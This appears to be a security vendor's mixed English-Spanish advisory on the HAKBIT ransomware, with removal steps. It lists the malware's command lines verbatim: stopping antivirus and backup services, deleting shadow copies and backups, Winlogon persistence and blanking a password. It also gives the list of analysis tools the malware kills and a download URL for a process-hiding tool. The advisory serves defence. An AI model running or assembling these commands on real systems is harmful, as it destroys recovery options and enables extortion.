Ransom.MSIL.HAKBIT.I
Windows
Threat Type:
Ransomware
Destructiveness:
No
Encrypted:
Yes
In the wild::
Yes
OVERVIEW
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Se ejecuta y, a continuación, se elimina.
TECHNICAL DETAILS
Detalles de entrada
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Instalación
Agrega los procesos siguientes:
- "reg.exe" delete HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend /f;
- "bcdedit.exe" /set {default} safeboot network;
- "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d {Malware full path},"C:\Windows\system32\userinit.exe" /f;
- "net.exe" user {Username} "";
- "shutdown.exe", "/r /t 0"
- "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
- powershell.exe "Get-MpPreference -verbose"
- net.exe stop avpsus /y
- net.exe stop McAfeeDLPAgentService /y
- net.exe stop mfewc /y
- net.exe stop NetBackup BMR MTFTP Service /y
- net.exe stop DefWatch /y
- net.exe stop ccEvtMgr /y
- net.exe stop ccSetMgr /y
- net.exe stop SavRoam /y
- net.exe stop RTVscan /y
- net.exe stop QBFCService /y
- net.exe stop QBIDPService /y
- net.exe stop Intuit.QuickBooks.FCS /y
- net.exe stop QBCFMonitorService /y
- net.exe stop YooBackup /y
- net.exe stop YooIT /y
- net.exe stop zhudongfangyu /y
- net.exe stop stc_raw_agent /y
- net.exe stop VSNAPVSS /y
- net.exe stop VeeamTransportSvc /y
- net.exe stop VeeamDeploymentService /y
- net.exe stop VeeamNFSSvc /y
- net.exe stop veeam /y
- net.exe stop PDVFSService /y
- net.exe stop BackupExecVSSProvider /y
- net.exe stop BackupExecAgentAccelerator /y
- net.exe stop BackupExecAgentBrowser /y
- net.exe stop BackupExecDiveciMediaService /y
- net.exe stop BackupExecJobEngine /y
- net.exe stop BackupExecManagementService /y
- net.exe stop BackupExecRPCService /y
- net.exe stop AcrSch2Svc /y
- net.exe stop AcronisAgent /y
- net.exe stop CASAD2DWebSvc /y
- net.exe stop CAARCUpdateSvc /y
- net.exe stop sophos /y
- sc.exe config SQLTELEMETRY start= disabled
- sc.exe config SQLTELEMETRY$ECWDB2 start= disabled
- sc.exe config SQLWriter start= disabled
- sc.exe config SstpSvc start= disabled
- taskkill.exe /IM mydesktopservice.exe /F
- taskkill.exe /IM mspub.exe /F
- taskkill.exe /IM mydesktopqos.exe /F
- vssadmin.exe Delete Shadows /all /quiet
- vssadmin.exe resize shadowstorage /for={Drive from C to H} /on={Drive from C to H} /maxsize=401MB
- vssadmin.exe resize shadowstorage /for={Drive from C to H} /on={Drive from C to H} /maxsize=unbounded
- del.exe /s /f /q {Drive from C to H}\*.VHD {Drive from C to H}\*.bac {Drive from C to H}\*.bak {Drive from C to H}\*.wbcat {Drive from C to H}\*.bkf {Drive from C to H}\Backup*.* {Drive from C to H}\backup*.* {Drive from C to H}\*.set {Drive from C to H}\*.win {Drive from C to H}\*.dsk
- cmd.exe", "/c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
Se ejecuta y, a continuación, se elimina.
Agrega las siguientes exclusiones mutuas para garantizar que solo se ejecuta una de sus copias en todo momento:
- Global\{GUID}
Otras modificaciones del sistema
Agrega las siguientes entradas de registro:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Winlogon
LegalNoticeText = All your files were encrypted, if you want to get them all back, please carefully read the text note located in your desktop...
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Winlogon
LegalNoticeCaption = Information...
Finalización del proceso
Finaliza los procesos siguientes si detecta que se ejecutan en la memoria del sistema afectado:
- http analyzer stand-alone
- fiddler
- effetech http sniffer
- firesheep
- IEWatch Professional
- dumpcap
- wireshark
- wireshark portable
- sysinternals tcpview
- NetworkMiner
- NetworkTrafficView
- HTTPNetworkSniffer
- tcpdump
- intercepter
- Intercepter-NG
- ollydbg
- x64dbg
- dnspy
- dnspy-x86
- de4dot
- ilspy
- dotpeek
- dotpeek64
- ida64
- procexp
- procexp64
- RDG Packer Detector
- CFF Explorer
- PEiD
- protection_id
- LordPE
- pe-sieve
- MegaDumper
- UnConfuserEx
- Universal_Fixer
- NoFuserEx
Rutina de descarga
Este malware descarga el archivo desde la siguiente URL y le cambia el nombre al almacenarlo en el sistema afectado:
- https://raw.{BLOCKED}sercontent.com/d35ha/ProcessHide/master/bins/ProcessHide32.exe - if running on 32-bit
- https://raw.{BLOCKED}sercontent.com/d35ha/ProcessHide/master/bins/ProcessHide64.exe - if running on 64-bit
Guarda los archivos que descarga con los nombres siguientes:
- %User Temp%\{random}.exe
(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).
)Otros detalles
Cifra los archivos con las extensiones siguientes:
- .crypted
Hace lo siguiente:
- Monitors the following processes and hides itself using ProcessHide{32 or 64} if found running:
- TaskMgr
- ProcessHacker
- procexp
- Deletes backup files from the drives
- Deletes contents of Recycle Bin
- It restarts the affected system in safe mode.
SOLUTION
Step 2
Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.
Step 3
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 4
Reiniciar en modo seguro
Step 5
Buscar y eliminar estos archivos
- %Desktop%\HOW_TO_DECYPHER_FILES.txt
- %Desktop%\HOW_TO_DECYPHER_FILES.hta
- %User Temp%\HOW_TO_DECYPHER_FILES.txt
- %Desktop%\HOW_TO_DECYPHER_FILES.txt
- %Desktop%\HOW_TO_DECYPHER_FILES.hta
- %User Temp%\HOW_TO_DECYPHER_FILES.txt
Step 6
Eliminar este valor del Registro
Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
- LegalNoticeText = All your files were encrypted, if you want to get them all back, please carefully read the text note located in your desktop...
- LegalNoticeText = All your files were encrypted, if you want to get them all back, please carefully read the text note located in your desktop...
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
- LegalNoticeCaption = Information...
- LegalNoticeCaption = Information...
Step 7
Reinicie en modo normal y explore el equipo con su producto de Trend Micro para buscar los archivos identificados como Ransom.MSIL.HAKBIT.I En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.
Step 8
Restore encrypted files from backup.
Did this description help? Tell us how we did.